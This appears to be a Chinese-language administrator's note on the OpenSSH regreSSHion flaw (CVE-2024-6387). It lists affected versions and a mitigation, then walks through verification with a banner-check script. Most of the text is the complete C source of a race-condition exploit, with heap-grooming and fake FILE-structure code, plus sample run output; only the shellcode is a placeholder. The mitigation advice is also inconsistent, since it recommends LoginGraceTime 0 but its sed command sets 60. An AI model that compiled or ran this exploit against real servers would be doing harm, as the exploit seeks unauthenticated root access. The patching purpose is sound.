一、漏洞描述
2024年7月1日,OpenSSH Server中存在的一个RCE远程代码执行漏洞(CVE-2024-6387,又被称为regreSSHion)细节被公开,该漏洞影响基于glibc的Linux系统上的OpenSSH Server (sshd)。

默认配置下的OpenSSH Server (sshd)中存在信号处理程序竞争条件漏洞,如果客户端未在LoginGraceTime内(默认情况下为120秒,旧版OpenSSH中为600秒)进行身份验证,则sshd的SIGALRM处理程序将被异步调用,但该信号处理程序会调用非异步信号安全的函数,最终造成Double-Free内存管理问题。威胁者可利用该漏洞在基于glibc的Linux系统上以root身份实现未经身份验证的远程代码执行。根据已公开技术细节中的描述,在开启ASLR的i386设备上,利用该漏洞大约需要6-8小时获取root shell,在开启ASLR的amd64设备上则可能需要约一周左右。
影响范围:
OpenSSH < 4.4p1(不含已修复CVE-2006-5051( 8.5p1已修复)和CVE-2008-4109的实例)
8.5p1 <= OpenSSH < 9.8p1 # 注:OpenBSD系统不受该漏洞影响。
Red Hat Enterprise Linux 9,该缺陷不会影响Red Hat Enterprise Linux 8附带的OpenSSH版本,因其中所涉易受攻击的代码是在上游的较新OpenSSH版本中引入的,且未向后移植到Red Hat Enterprise Linux 8。
临时缓解:
- /etc/ssh/sshd_config配置LoginGraceTime 0,该参数用于指定成功验证SSH服务器的时间。宽限期的时间越长,可存在开放的未认证连接暴露面越大,(默认值为120) 。宽限期应限制在适当的范围内,以确保服务是用于所需的访问。或直接执行:sed -i “s/#LoginGraceTime 2m/LoginGraceTime 60/g” /etc/ssh/sshd_config ;请注意,使用该配置会导致MaxStartups连接耗尽,从而使sshd易受拒绝服务攻击,但可以缓解本漏洞的风险。也可使用iptables等防火墙最小化控制SSH访问范围,可监控最大连接数发现异常。
关联资源:ubuntu公告及补丁、cve-2024-6387细节、RCE漏洞说明、漏洞POC恶意代码
二、处理验证
1)POC测试验证
git clone https://github.com/shamo0/CVE-2024-6387_PoC  //如下所示
Cloning into 'CVE-2024-6387_PoC'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), done.
cd CVE-2024-6387_PoC/
chmod +x check.sh
#执行脚本,验证
#如果输出:vulnerable (running SSH version).就表明当前SSH server版本受影响,否则输出:not vulnerable (running SSH version)
#执行:check.sh <ip> [<ip> ...] [--port=<port>] [--timeout=<timeout>]
./check.sh 127.0.0.1 --port=10087 --timeout=120ms  #可以跟多个ip,依赖nc命令,需先安装nmap,输出如下:
./check.sh: line 18: warning: command substitution: ignored null byte in input
127.0.0.1:10087 not vulnerable (running SSH-2.0-OpenSSH_8.8
 
|tнܗg6Өn墵rve25519-sha256,curve25519-sha256@libssh.……
#验证脚本
#!/bin/bash
check_vulnerability() {
    local ip="$1"
    local port="$2"
    local timeout="$3"
    
    # Check if port is open
    nc -z -w "$timeout" "$ip" "$port"
    local port_status="$?"
    if [ "$port_status" != 0 ]; then
        echo "$ip:$port closed"
        return
    fi
    
    # Retrieve SSH banner
    banner=$(echo "SSH-2.0-OpenSSH" | nc -w "$timeout" "$ip" "$port")
    # Check for vulnerable versions
    vulnerable_versions=(
        "SSH-2.0-OpenSSH_8.5p1"
        "SSH-2.0-OpenSSH_8.6p1"
        "SSH-2.0-OpenSSH_8.7p1"
        "SSH-2.0-OpenSSH_8.8p1"
        "SSH-2.0-OpenSSH_8.9p1"
        "SSH-2.0-OpenSSH_9.0p1"
        "SSH-2.0-OpenSSH_9.1p1"
        "SSH-2.0-OpenSSH_9.2p1"
        "SSH-2.0-OpenSSH_9.3p1"
        "SSH-2.0-OpenSSH_9.4p1"
        "SSH-2.0-OpenSSH_9.5p1"
        "SSH-2.0-OpenSSH_9.6p1"
        "SSH-2.0-OpenSSH_9.7p1"
    )
    # Check if banner contains any vulnerable version
    for version in "${vulnerable_versions[@]}"; do
        if [[ "$banner" == *"$version"* ]]; then
            echo "$ip:$port vulnerable (running $banner)"
            return
        fi
    done
    echo "$ip:$port not vulnerable (running $banner)"
}
main() {
    if [ $# -eq 0 ]; then
        echo "Usage: $0 <ip> [<ip> ...] [--port=<port>] [--timeout=<timeout>]"
        exit 1
    fi
    
    port=22
    timeout=1.0
    # Parse arguments
    while [ $# -gt 0 ]; do
        case "$1" in
            --port=*)
                port="${1#*=}"
                shift
                ;;
            --timeout=*)
                timeout="${1#*=}"
                shift
                ;;
            *)
                ips+=("$1")
                shift
                ;;
        esac
    done
    # Perform vulnerability check for each IP
    for ip in "${ips[@]}"; do
        check_vulnerability "$ip" "$port" "$timeout"
    done
}
main "$@"
#POC C代码
/** 7etsuo-regreSSHion.c
 * -------------------------------------------------------------------------
 * SSH-2.0-OpenSSH_9.2p1 Exploit
 * -------------------------------------------------------------------------
 *
 * Exploit Title  : SSH Exploit for CVE-2024-6387 (regreSSHion)
 * Author         : 7etsuo
 * Date           : 2024-07-01
 *
 * Description:
 * Targets a signal handler race condition in OpenSSH's
 * server (sshd) on glibc-based Linux systems. It exploits a vulnerability
 * where the SIGALRM handler calls async-signal-unsafe functions, leading
 * to rce as root.
 *
 * Notes:
 * 1. Shellcode        : Replace placeholder with actual payload.
 * 2. GLIBC_BASES      : Needs adjustment for specific target systems.
 * 3. Timing parameters: Fine-tune based on target system responsiveness.
 * 4. Heap layout      : Requires tweaking for different OpenSSH versions.
 * 5. File structure offsets: Verify for the specific glibc version.
 * -------------------------------------------------------------------------
 */
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
                  const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
                            uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
                               uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
                                 uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);
int
main (int argc, char *argv[])
{
  if (argc != 3)
    {
      fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
      exit (1);
    }
  const char *ip = argv[1];
  int port = atoi (argv[2]);
  double parsing_time = 0;
  int success = 0;
  srand (time (NULL));
  // Attempt exploitation for each possible glibc base address
  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
    {
      uint64_t glibc_base = GLIBC_BASES[base_idx];
      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
      // The advisory mentions "~10,000 tries on average"
      for (int attempt = 0; attempt < 20000 && !success; attempt++)
        {
          if (attempt % 1000 == 0)
            {
              printf ("Attempt %d of 20000\n", attempt);
            }
          int sock = setup_connection (ip, port);
          if (sock < 0)
            {
              fprintf (stderr, "Failed to establish connection, attempt %d\n",
                       attempt);
              continue;
            }
          if (perform_ssh_handshake (sock) < 0)
            {
              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
              close (sock);
              continue;
            }
          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);
          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success = 1;
              break;
            }
          close (sock);
          usleep (100000); // 100ms delay between attempts, as mentioned in the
                           // advisory
        }
    }
  return !success;
}
int
setup_connection (const char *ip, int port)
{
  int sock = socket (AF_INET, SOCK_STREAM, 0);
  if (sock < 0)
    {
      perror ("socket");
      return -1;
    }
  struct sockaddr_in server_addr;
  memset (&server_addr, 0, sizeof (server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons (port);
  if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
    {
      perror ("inet_pton");
      close (sock);
      return -1;
    }
  if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
      < 0)
    {
      perror ("connect");
      close (sock);
      return -1;
    }
  // Set socket to non-blocking mode
  int flags = fcntl (sock, F_GETFL, 0);
  fcntl (sock, F_SETFL, flags | O_NONBLOCK);
  return sock;
}
void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
             size_t len)
{
  unsigned char packet[MAX_PACKET_SIZE];
  size_t packet_len = len + 5;
  packet[0] = (packet_len >> 24) & 0xFF;
  packet[1] = (packet_len >> 16) & 0xFF;
  packet[2] = (packet_len >> 8) & 0xFF;
  packet[3] = packet_len & 0xFF;
  packet[4] = packet_type;
  memcpy (packet + 5, data, len);
  if (send (sock, packet, packet_len, 0) < 0)
    {
      perror ("send_packet");
    }
}
void
send_ssh_version (int sock)
{
  const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
  if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
    {
      perror ("send ssh version");
    }
}
int
receive_ssh_version (int sock)
{
  char buffer[256];
  ssize_t received;
  do
    {
      received = recv (sock, buffer, sizeof (buffer) - 1, 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
  if (received > 0)
    {
      buffer[received] = '\0';
      printf ("Received SSH version: %s", buffer);
      return 0;
    }
  else if (received == 0)
    {
      fprintf (stderr, "Connection closed while receiving SSH version\n");
    }
  else
    {
      perror ("receive ssh version");
    }
  return -1;
}
void
send_kex_init (int sock)
{
  unsigned char kexinit_payload[36] = { 0 };
  send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
}
int
receive_kex_init (int sock)
{
  unsigned char buffer[1024];
  ssize_t received;
  do
    {
      received = recv (sock, buffer, sizeof (buffer), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
  if (received > 0)
    {
      printf ("Received KEX_INIT (%zd bytes)\n", received);
      return 0;
    }
  else if (received == 0)
    {
      fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
    }
  else
    {
      perror ("receive kex init");
    }
  return -1;
}
int
perform_ssh_handshake (int sock)
{
  send_ssh_version (sock);
  if (receive_ssh_version (sock) < 0)
    return -1;
  send_kex_init (sock);
  if (receive_kex_init (sock) < 0)
    return -1;
  return 0;
}
void
prepare_heap (int sock)
{
  // Packet a: Allocate and free tcache chunks
  for (int i = 0; i < 10; i++)
    {
      unsigned char tcache_chunk[64];
      memset (tcache_chunk, 'A', sizeof (tcache_chunk));
      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
      // These will be freed by the server, populating tcache
    }
  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  for (int i = 0; i < 27; i++)
    {
      // Allocate large chunk (~8KB)
      unsigned char large_hole[8192];
      memset (large_hole, 'B', sizeof (large_hole));
      send_packet (sock, 5, large_hole, sizeof (large_hole));
      // Allocate small chunk (320B)
      unsigned char small_hole[320];
      memset (small_hole, 'C', sizeof (small_hole));
      send_packet (sock, 5, small_hole, sizeof (small_hole));
    }
  // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  for (int i = 0; i < 27; i++)
    {
      unsigned char fake_data[4096];
      create_fake_file_structure (fake_data, sizeof (fake_data),
                                  GLIBC_BASES[0]);
      send_packet (sock, 5, fake_data, sizeof (fake_data));
    }
  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset (large_string, 'E', sizeof (large_string));
  send_packet (sock, 5, large_string, sizeof (large_string));
}
void
create_fake_file_structure (unsigned char *data, size_t size,
                            uint64_t glibc_base)
{
  memset (data, 0, size);
  struct
  {
    void *_IO_read_ptr;
    void *_IO_read_end;
    void *_IO_read_base;
    void *_IO_write_base;
    void *_IO_write_ptr;
    void *_IO_write_end;
    void *_IO_buf_base;
    void *_IO_buf_end;
    void *_IO_save_base;
    void *_IO_backup_base;
    void *_IO_save_end;
    void *_markers;
    void *_chain;
    int _fileno;
    int _flags;
    int _mode;
    char _unused2[40];
    void *_vtable_offset;
  } *fake_file = (void *)data;
  // Set _vtable_offset to 0x61 as described in the advisory
  fake_file->_vtable_offset = (void *)0x61;
  // Set up fake vtable and _codecvt pointers
  *(uint64_t *)(data + size - 16)
      = glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
  *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
}
void
time_final_packet (int sock, double *parsing_time)
{
  double time_before = measure_response_time (sock, 1);
  double time_after = measure_response_time (sock, 2);
  *parsing_time = time_after - time_before;
  printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}
double
measure_response_time (int sock, int error_type)
{
  unsigned char error_packet[1024];
  size_t packet_size;
  if (error_type == 1)
    {
      // Error before sshkey_from_blob
      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
    }
  else
    {
      // Error after sshkey_from_blob
      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
    }
  struct timespec start, end;
  clock_gettime (CLOCK_MONOTONIC, &start);
  send_packet (sock, 50, error_packet,
               packet_size); // SSH_MSG_USERAUTH_REQUEST
  char response[1024];
  ssize_t received;
  do
    {
      received = recv (sock, response, sizeof (response), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
  clock_gettime (CLOCK_MONOTONIC, &end);
  double elapsed
      = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
  return elapsed;
}
void
create_public_key_packet (unsigned char *packet, size_t size,
                          uint64_t glibc_base)
{
  memset (packet, 0, size);
  size_t offset = 0;
  for (int i = 0; i < 27; i++)
    {
      // malloc(~4KB) - This is for the large hole
      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
      offset += CHUNK_ALIGN (4096);
      // malloc(304) - This is for the small hole (potential FILE structure)
      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
      offset += CHUNK_ALIGN (304);
    }
  // Add necessary headers for the SSH public key format
  memcpy (packet, "ssh-rsa ", 8);
  // Place shellcode in the heap via previous allocations
  memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
          sizeof (shellcode));
  // Set up the fake FILE structures within the packet
  for (int i = 0; i < 27; i++)
    {
      create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
                                      + CHUNK_ALIGN (304) * i,
                                  CHUNK_ALIGN (304), glibc_base);
    }
}
int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
  unsigned char final_packet[MAX_PACKET_SIZE];
  create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);
  // Send all but the last byte
  if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
    {
      perror ("send final packet");
      return 0;
    }
  // Precise timing for last byte
  struct timespec start, current;
  clock_gettime (CLOCK_MONOTONIC, &start);
  while (1)
    {
      clock_gettime (CLOCK_MONOTONIC, ¤t);
      double elapsed = (current.tv_sec - start.tv_sec)
                       + (current.tv_nsec - start.tv_nsec) / 1e9;
      if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
        { // 1ms before SIGALRM
          if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
            {
              perror ("send last byte");
              return 0;
            }
          break;
        }
    }
  // Check for successful exploitation
  char response[1024];
  ssize_t received = recv (sock, response, sizeof (response), 0);
  if (received > 0)
    {
      printf ("Received response after exploit attempt (%zd bytes)\n",
              received);
      // Analyze response to determine if we hit the "large" race window
      if (memcmp (response, "SSH-2.0-", 8) != 0)
        {
          printf ("Possible hit on 'large' race window\n");
          return 1;
        }
    }
  else if (received == 0)
    {
      printf (
          "Connection closed by server - possible successful exploitation\n");
      return 1;
    }
  else if (errno == EWOULDBLOCK || errno == EAGAIN)
    {
      printf ("No immediate response from server - possible successful "
              "exploitation\n");
      return 1;
    }
  else
    {
      perror ("recv");
    }
  return 0;
}
int
perform_exploit (const char *ip, int port)
{
  int success = 0;
  double parsing_time = 0;
  double timing_adjustment = 0;
  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
    {
      uint64_t glibc_base = GLIBC_BASES[base_idx];
      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
      for (int attempt = 0; attempt < 10000 && !success; attempt++)
        {
          if (attempt % 1000 == 0)
            {
              printf ("Attempt %d of 10000\n", attempt);
            }
          int sock = setup_connection (ip, port);
          if (sock < 0)
            {
              fprintf (stderr, "Failed to establish connection, attempt %d\n",
                       attempt);
              continue;
            }
          if (perform_ssh_handshake (sock) < 0)
            {
              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
              close (sock);
              continue;
            }
          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);
          // Implement feedback-based timing strategy
          parsing_time += timing_adjustment;
          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success = 1;
              // In a real exploit, we would now attempt to interact with the
              // shell
            }
          else
            {
              // Adjust timing based on feedback
              timing_adjustment += 0.00001; // Small incremental adjustment
            }
          close (sock);
          usleep (100000); // 100ms delay between attempts, as mentioned in the
                           // advisory
        }
    }
  return success;
}
#编译
gcc -o ssh_poc ./regreSSHion.c  
#验证
./ssh_poc  ip port  #程序的输出将是一个整数,表示成功(0)或失败(非0值),如果漏洞利用成功,攻击者通常会尝试与目标服务器上的交互式shell进行交互
Attempting exploitation with glibc base: 0xb7200000  #表示程序正在尝试使用给定的glibc基地址(0xb7200000)来进行漏洞利用
Attempt 0 of 20000   #这是程序的第一次尝试,它将尝试总共20000次,以找到正确的时机来触发竞争条件
Received SSH version: SSH-2.0-OpenSSH_8.8  #程序已经完成了SSH版本号的交换和KEX_INIT的接收,这是SSH握手过程的一部分
Received KEX_INIT (1024 bytes)
Estimated parsing time: 0.000364 seconds  #程序估计了服务器处理数据包的时间,这个时间将用于后续触发竞争条件的精确时间计算。
现场为BClinux-Euler22.10版本,基于openEuler22.03,验证效果如下所示:
 
2)如果不放心请升级到最新版本(OpenSSH 9.8p1)或编译安装最新版本
参看:ssh升级, 现场:BigCloud Enterprise Linux For Euler 22.10 LTS,OpenSSH_8.8p1, OpenSSL 1.1.1m,经测试不涉及上述漏洞。



















